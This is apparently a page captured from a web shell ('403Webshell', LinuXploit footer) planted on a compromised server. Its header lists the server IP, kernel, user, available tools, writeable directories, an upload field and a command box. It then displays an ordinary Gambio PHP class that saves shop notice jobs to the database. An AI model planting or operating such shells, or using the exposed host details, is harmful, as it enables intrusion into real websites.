403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/job_service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/job_service/ShopNoticeJobWriter.inc.php
<?php

/* --------------------------------------------------------------
   ShopNoticeJobWriter.inc.php 2014-10-01 gambio
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2014 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class ShopNoticeJobWriter
{
	protected $shopLanguageReader;


	public function __construct(ShopLanguageReader $shopLanguageReader)
	{
		$this->shopLanguageReader = $shopLanguageReader;
	}


	public function write(ShopNoticeJob $noticeJob)
	{
		if($noticeJob->getShopNoticeJobId() == null)
		{
			$this->insert($noticeJob);
		}
		else
		{
			$this->update($noticeJob);
		}
	}


	protected function insert(ShopNoticeJob $noticeJob)
	{
		$sql = '
			INSERT INTO shop_notice_jobs
			SET
				waiting_ticket_id  = "' . xtc_db_input($noticeJob->getWaitingNumber()) . '",
				shop_active = "' . xtc_db_input($noticeJob->getShopActive()) . '",
				shop_offline_content = "' . xtc_db_input($noticeJob->getShopOfflineContent()) . '",
				topbar_active = "' . xtc_db_input($noticeJob->getTopbarActive()) . '",
				topbar_color = "' . xtc_db_input($noticeJob->getTopbarColor()) . '",
				topbar_mode = "' . xtc_db_input($noticeJob->getTopbarMode()) . '",
				popup_active = "' . xtc_db_input($noticeJob->getPopupActive()) . '",
				hidden = "' . (int)$noticeJob->getHidden() . '"
		';
		xtc_db_query($sql);

		$shopNoticeJobId = xtc_db_insert_id();
		$noticeJob->setShopNoticeJobId($shopNoticeJobId);


		$shopLanguageArray = $this->shopLanguageReader->getAll();

		foreach($shopLanguageArray as $shopLanguage)
		{
			$languageId   = $shopLanguage->getLanguageId();
			$languageCode = $shopLanguage->getLanguageCode();

			$sql = '
				INSERT INTO shop_notice_job_contents
				SET
					shop_notice_job_id  = "' . xtc_db_input($shopNoticeJobId) . '",
					language_id = "' . xtc_db_input($languageId) . '",
					topbar_content = "' . xtc_db_input($noticeJob->getTopbarContent($languageCode)) . '",
					popup_content = "' . xtc_db_input($noticeJob->getPopupContent($languageCode)) . '"
			';
			xtc_db_query($sql);
		}

		return $noticeJob;
	}


	protected function update(ShopNoticeJob $noticeJob)
	{
		$sql = '
			UPDATE shop_notice_jobs
			SET
				waiting_ticket_id  = "' . xtc_db_input($noticeJob->getWaitingNumber()) . '",
				shop_active = "' . xtc_db_input($noticeJob->getShopActive()) . '",
				shop_offline_content = "' . xtc_db_input($noticeJob->getShopOfflineContent()) . '",
				topbar_active = "' . xtc_db_input($noticeJob->getTopbarActive()) . '",
				topbar_color = "' . xtc_db_input($noticeJob->getTopbarColor()) . '",
				topbar_mode = "' . xtc_db_input($noticeJob->getTopbarMode()) . '",
				popup_active = "' . xtc_db_input($noticeJob->getPopupActive()) . '",
				hidden = "' . (int)$noticeJob->getHidden() . '"
			WHERE
				shop_notice_job_id = "' . xtc_db_input($noticeJob->getShopNoticeJobId()) . '"
		';
		xtc_db_query($sql);


		$shopLanguageArray = $this->shopLanguageReader->getAll();

		foreach($shopLanguageArray as $shopLanguage)
		{
			$languageId   = $shopLanguage->getLanguageId();
			$languageCode = $shopLanguage->getLanguageCode();

			$sql = '
				UPDATE shop_notice_job_contents
				SET
					topbar_content = "' . xtc_db_input($noticeJob->getTopbarContent($languageCode)) . '",
					popup_content = "' . xtc_db_input($noticeJob->getPopupContent($languageCode)) . '"
				WHERE
					shop_notice_job_id  = "' . xtc_db_input($noticeJob->getShopNoticeJobId()) . '" AND
					language_id = "' . xtc_db_input($languageId) . '"
			';
			xtc_db_query($sql);
		}

		return true;
	}

} 

Youez - 2016 - github.com/yon3zu
LinuXploit